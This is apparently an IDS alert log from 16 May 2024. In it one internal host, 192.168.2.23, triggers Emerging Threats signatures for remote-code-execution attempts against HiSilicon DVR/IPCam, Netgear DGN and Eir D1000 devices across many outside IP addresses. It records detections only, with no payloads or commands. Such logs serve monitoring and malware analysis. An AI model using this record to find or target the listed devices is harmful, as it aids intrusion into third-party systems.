05/16/24-16:39:03.256880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53626	9530	192.168.2.23	20.232.148.53
05/16/24-16:39:03.256880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53626	9530	192.168.2.23	20.232.148.53
05/16/24-16:38:50.047775	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43114	9530	192.168.2.23	190.149.49.44
05/16/24-16:38:49.277196	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	49912	80	192.168.2.23	213.47.195.110
05/16/24-16:38:50.047775	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43114	9530	192.168.2.23	190.149.49.44
05/16/24-16:39:08.127951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60096	9530	192.168.2.23	157.253.56.82
05/16/24-16:39:08.127951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60096	9530	192.168.2.23	157.253.56.82
05/16/24-16:38:59.589138	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38540	9530	192.168.2.23	168.147.59.219
05/16/24-16:38:59.589138	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38540	9530	192.168.2.23	168.147.59.219
05/16/24-16:39:05.698695	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48300	9530	192.168.2.23	147.113.47.190
05/16/24-16:39:05.698695	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48300	9530	192.168.2.23	147.113.47.190
05/16/24-16:39:02.726877	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49396	9530	192.168.2.23	88.44.80.212
05/16/24-16:39:02.726877	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49396	9530	192.168.2.23	88.44.80.212
05/16/24-16:39:03.260958	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50580	9530	192.168.2.23	36.38.133.222
05/16/24-16:39:03.260958	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50580	9530	192.168.2.23	36.38.133.222
05/16/24-16:39:14.492276	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51312	9530	192.168.2.23	213.39.98.194
05/16/24-16:39:14.492276	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51312	9530	192.168.2.23	213.39.98.194
05/16/24-16:39:02.725595	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46340	9530	192.168.2.23	207.112.232.95
05/16/24-16:39:02.725595	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46340	9530	192.168.2.23	207.112.232.95
05/16/24-16:38:53.065510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37004	9530	192.168.2.23	209.0.75.39
05/16/24-16:38:53.065510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37004	9530	192.168.2.23	209.0.75.39
05/16/24-16:39:16.579359	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44316	9530	192.168.2.23	14.91.69.155
05/16/24-16:39:16.579359	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44316	9530	192.168.2.23	14.91.69.155
05/16/24-16:38:55.196570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55688	9530	192.168.2.23	31.26.103.0
05/16/24-16:38:55.212345	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33190	9530	192.168.2.23	39.77.159.173
05/16/24-16:38:55.212345	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33190	9530	192.168.2.23	39.77.159.173
05/16/24-16:38:55.196570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55688	9530	192.168.2.23	31.26.103.0
05/16/24-16:38:50.076377	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48296	9530	192.168.2.23	126.11.95.232
05/16/24-16:38:50.076377	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48296	9530	192.168.2.23	126.11.95.232
05/16/24-16:39:05.706952	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52864	9530	192.168.2.23	39.119.251.1
05/16/24-16:39:05.706952	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52864	9530	192.168.2.23	39.119.251.1
05/16/24-16:39:12.400829	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47364	9530	192.168.2.23	101.168.203.171
05/16/24-16:39:16.577676	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55676	9530	192.168.2.23	41.45.15.178
05/16/24-16:39:12.400829	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47364	9530	192.168.2.23	101.168.203.171
05/16/24-16:39:16.577676	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55676	9530	192.168.2.23	41.45.15.178
05/16/24-16:38:55.192607	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52790	9530	192.168.2.23	19.214.128.171
05/16/24-16:39:08.047714	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55778	9530	192.168.2.23	213.1.211.245
05/16/24-16:39:08.047714	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55778	9530	192.168.2.23	213.1.211.245
05/16/24-16:39:05.676404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59620	9530	192.168.2.23	99.27.123.184
05/16/24-16:39:09.569983	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	35132	80	192.168.2.23	154.141.120.120
05/16/24-16:39:05.676404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59620	9530	192.168.2.23	99.27.123.184
05/16/24-16:39:06.111880	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48500	5555	192.168.2.23	223.160.162.32
05/16/24-16:38:55.192607	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52790	9530	192.168.2.23	19.214.128.171
05/16/24-16:38:57.439239	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53166	9530	192.168.2.23	159.78.148.27
05/16/24-16:38:59.587437	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34072	9530	192.168.2.23	191.241.114.221
05/16/24-16:38:57.439239	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53166	9530	192.168.2.23	159.78.148.27
05/16/24-16:38:59.587437	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34072	9530	192.168.2.23	191.241.114.221
05/16/24-16:39:14.507435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50966	9530	192.168.2.23	212.29.27.215
05/16/24-16:39:14.507435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50966	9530	192.168.2.23	212.29.27.215
05/16/24-16:39:16.602154	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39382	9530	192.168.2.23	201.78.185.142
05/16/24-16:39:05.713027	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57538	9530	192.168.2.23	32.163.148.214
05/16/24-16:39:16.602154	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39382	9530	192.168.2.23	201.78.185.142
05/16/24-16:39:05.713027	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57538	9530	192.168.2.23	32.163.148.214
05/16/24-16:38:50.052149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47104	9530	192.168.2.23	125.165.108.231
05/16/24-16:38:50.052149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47104	9530	192.168.2.23	125.165.108.231
05/16/24-16:39:03.281755	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35322	9530	192.168.2.23	19.106.153.220
05/16/24-16:39:03.281755	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35322	9530	192.168.2.23	19.106.153.220
05/16/24-16:39:05.677743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50350	9530	192.168.2.23	138.180.158.73
05/16/24-16:38:50.047568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41162	9530	192.168.2.23	53.205.153.51
05/16/24-16:38:50.047568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41162	9530	192.168.2.23	53.205.153.51
05/16/24-16:39:08.146107	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36226	9530	192.168.2.23	143.129.152.252
05/16/24-16:39:08.146107	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36226	9530	192.168.2.23	143.129.152.252
05/16/24-16:39:12.400928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47316	9530	192.168.2.23	79.46.238.195
05/16/24-16:39:12.400928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47316	9530	192.168.2.23	79.46.238.195
05/16/24-16:39:05.677743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50350	9530	192.168.2.23	138.180.158.73
05/16/24-16:39:12.301092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50284	9530	192.168.2.23	105.218.116.113
05/16/24-16:39:12.301092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50284	9530	192.168.2.23	105.218.116.113
05/16/24-16:39:03.277926	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46470	9530	192.168.2.23	213.102.59.254
05/16/24-16:39:03.277926	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46470	9530	192.168.2.23	213.102.59.254
05/16/24-16:39:14.527582	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38722	9530	192.168.2.23	50.205.178.97
05/16/24-16:39:14.527582	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38722	9530	192.168.2.23	50.205.178.97
05/16/24-16:39:05.693235	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42726	9530	192.168.2.23	76.128.131.11
05/16/24-16:38:57.302530	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43578	9530	192.168.2.23	121.4.9.209
05/16/24-16:39:02.768667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35274	9530	192.168.2.23	133.95.96.198
05/16/24-16:39:05.693235	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42726	9530	192.168.2.23	76.128.131.11
05/16/24-16:38:57.302530	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43578	9530	192.168.2.23	121.4.9.209
05/16/24-16:39:02.768667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35274	9530	192.168.2.23	133.95.96.198
05/16/24-16:39:08.045013	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46460	9530	192.168.2.23	126.97.101.186
05/16/24-16:39:08.128065	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46784	9530	192.168.2.23	61.131.135.19
05/16/24-16:39:08.045013	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46460	9530	192.168.2.23	126.97.101.186
05/16/24-16:39:02.726913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46242	9530	192.168.2.23	67.108.246.38
05/16/24-16:39:02.726913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46242	9530	192.168.2.23	67.108.246.38
05/16/24-16:39:08.128065	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46784	9530	192.168.2.23	61.131.135.19
05/16/24-16:38:59.558031	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44518	9530	192.168.2.23	151.145.227.248
05/16/24-16:39:14.493508	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38968	9530	192.168.2.23	104.104.89.187
05/16/24-16:38:59.558031	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44518	9530	192.168.2.23	151.145.227.248
05/16/24-16:39:14.493508	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38968	9530	192.168.2.23	104.104.89.187
05/16/24-16:39:03.280096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52778	9530	192.168.2.23	139.146.32.10
05/16/24-16:39:03.280096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52778	9530	192.168.2.23	139.146.32.10
05/16/24-16:38:59.557055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54386	9530	192.168.2.23	140.236.200.128
05/16/24-16:38:59.557055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54386	9530	192.168.2.23	140.236.200.128
05/16/24-16:38:57.423096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37474	9530	192.168.2.23	43.7.43.45
05/16/24-16:39:14.491110	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60110	9530	192.168.2.23	64.56.48.190
05/16/24-16:38:57.423096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37474	9530	192.168.2.23	43.7.43.45
05/16/24-16:39:14.491110	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60110	9530	192.168.2.23	64.56.48.190
05/16/24-16:39:14.521663	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35876	9530	192.168.2.23	125.24.153.88
05/16/24-16:38:59.520125	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48522	9530	192.168.2.23	91.222.165.79
05/16/24-16:38:59.520125	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48522	9530	192.168.2.23	91.222.165.79
05/16/24-16:39:05.675852	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53696	9530	192.168.2.23	31.64.135.13
05/16/24-16:38:50.052349	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60560	9530	192.168.2.23	134.134.137.225
05/16/24-16:38:50.052349	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60560	9530	192.168.2.23	134.134.137.225
05/16/24-16:39:05.675852	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53696	9530	192.168.2.23	31.64.135.13
05/16/24-16:39:08.127325	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55056	9530	192.168.2.23	64.161.47.166
05/16/24-16:39:08.127325	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55056	9530	192.168.2.23	64.161.47.166
05/16/24-16:39:03.275999	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48526	9530	192.168.2.23	62.190.53.68
05/16/24-16:39:03.275999	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48526	9530	192.168.2.23	62.190.53.68
05/16/24-16:38:57.411388	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41348	9530	192.168.2.23	205.244.173.67
05/16/24-16:38:57.411388	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41348	9530	192.168.2.23	205.244.173.67
05/16/24-16:38:50.068494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58602	9530	192.168.2.23	23.121.196.147
05/16/24-16:39:02.726930	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54416	9530	192.168.2.23	189.22.23.63
05/16/24-16:39:02.726930	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54416	9530	192.168.2.23	189.22.23.63
05/16/24-16:39:12.301277	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33812	9530	192.168.2.23	94.169.138.222
05/16/24-16:39:12.301277	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33812	9530	192.168.2.23	94.169.138.222
05/16/24-16:38:53.011461	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58324	9530	192.168.2.23	188.123.230.142
05/16/24-16:38:53.011461	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58324	9530	192.168.2.23	188.123.230.142
05/16/24-16:38:50.068494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58602	9530	192.168.2.23	23.121.196.147
05/16/24-16:38:53.084773	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51954	9530	192.168.2.23	76.56.236.138
05/16/24-16:38:53.084773	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51954	9530	192.168.2.23	76.56.236.138
05/16/24-16:39:14.494555	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41438	9530	192.168.2.23	81.37.198.73
05/16/24-16:39:14.494555	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41438	9530	192.168.2.23	81.37.198.73
05/16/24-16:38:59.557129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43394	9530	192.168.2.23	109.17.150.66
05/16/24-16:38:59.557129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43394	9530	192.168.2.23	109.17.150.66
05/16/24-16:39:16.603539	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47112	9530	192.168.2.23	113.8.170.167
05/16/24-16:39:16.603539	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47112	9530	192.168.2.23	113.8.170.167
05/16/24-16:38:55.175171	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42514	9530	192.168.2.23	82.143.67.133
05/16/24-16:39:14.491167	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38682	9530	192.168.2.23	176.69.5.127
05/16/24-16:39:14.491167	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38682	9530	192.168.2.23	176.69.5.127
05/16/24-16:39:16.611190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38612	9530	192.168.2.23	114.107.26.180
05/16/24-16:39:16.611190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38612	9530	192.168.2.23	114.107.26.180
05/16/24-16:38:53.066967	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47458	9530	192.168.2.23	151.43.198.105
05/16/24-16:38:53.099216	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59174	9530	192.168.2.23	92.76.185.211
05/16/24-16:38:53.066967	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47458	9530	192.168.2.23	151.43.198.105
05/16/24-16:38:53.099216	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59174	9530	192.168.2.23	92.76.185.211
05/16/24-16:39:05.675963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35812	9530	192.168.2.23	84.60.21.218
05/16/24-16:39:05.675963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35812	9530	192.168.2.23	84.60.21.218
05/16/24-16:38:57.425703	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58286	9530	192.168.2.23	126.238.53.64
05/16/24-16:38:57.425703	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58286	9530	192.168.2.23	126.238.53.64
05/16/24-16:39:05.702420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34910	9530	192.168.2.23	210.225.135.114
05/16/24-16:39:05.702420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34910	9530	192.168.2.23	210.225.135.114
05/16/24-16:38:55.175171	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42514	9530	192.168.2.23	82.143.67.133
05/16/24-16:39:14.531131	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37142	9530	192.168.2.23	186.208.213.126
05/16/24-16:39:14.531131	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37142	9530	192.168.2.23	186.208.213.126
05/16/24-16:38:53.410466	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	42022	80	192.168.2.23	83.52.52.184
05/16/24-16:38:53.099187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36990	9530	192.168.2.23	164.58.167.4
05/16/24-16:39:05.704032	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50852	9530	192.168.2.23	138.113.37.23
05/16/24-16:38:53.099187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36990	9530	192.168.2.23	164.58.167.4
05/16/24-16:38:57.408681	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52722	9530	192.168.2.23	181.109.135.191
05/16/24-16:39:05.704032	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50852	9530	192.168.2.23	138.113.37.23
05/16/24-16:38:57.411174	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58348	9530	192.168.2.23	222.0.55.254
05/16/24-16:38:57.411174	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58348	9530	192.168.2.23	222.0.55.254
05/16/24-16:39:03.290444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52726	9530	192.168.2.23	44.122.118.121
05/16/24-16:39:03.290444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52726	9530	192.168.2.23	44.122.118.121
05/16/24-16:38:55.210410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33512	9530	192.168.2.23	104.252.231.109
05/16/24-16:38:55.210410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33512	9530	192.168.2.23	104.252.231.109
05/16/24-16:39:08.127946	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41872	9530	192.168.2.23	185.122.64.36
05/16/24-16:39:05.707640	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54784	9530	192.168.2.23	4.135.50.84
05/16/24-16:39:05.707640	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54784	9530	192.168.2.23	4.135.50.84
05/16/24-16:39:08.127946	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41872	9530	192.168.2.23	185.122.64.36
05/16/24-16:38:55.175123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42402	9530	192.168.2.23	198.156.242.55
05/16/24-16:39:08.041844	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37680	9530	192.168.2.23	181.138.216.155
05/16/24-16:38:55.226778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57326	9530	192.168.2.23	57.244.181.133
05/16/24-16:38:55.226778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57326	9530	192.168.2.23	57.244.181.133
05/16/24-16:38:55.175123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42402	9530	192.168.2.23	198.156.242.55
05/16/24-16:38:50.004271	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55768	9530	192.168.2.23	94.99.152.103
05/16/24-16:38:53.086061	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36912	9530	192.168.2.23	53.211.82.141
05/16/24-16:38:53.086061	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36912	9530	192.168.2.23	53.211.82.141
05/16/24-16:38:50.004271	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55768	9530	192.168.2.23	94.99.152.103
05/16/24-16:39:08.041844	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37680	9530	192.168.2.23	181.138.216.155
05/16/24-16:38:57.408681	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52722	9530	192.168.2.23	181.109.135.191
05/16/24-16:39:05.705332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42860	9530	192.168.2.23	184.115.170.70
05/16/24-16:39:05.705332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42860	9530	192.168.2.23	184.115.170.70
05/16/24-16:38:50.080370	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56722	9530	192.168.2.23	218.129.183.16
05/16/24-16:38:50.080370	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56722	9530	192.168.2.23	218.129.183.16
05/16/24-16:38:50.004281	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59758	9530	192.168.2.23	188.121.105.146
05/16/24-16:38:50.004281	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59758	9530	192.168.2.23	188.121.105.146
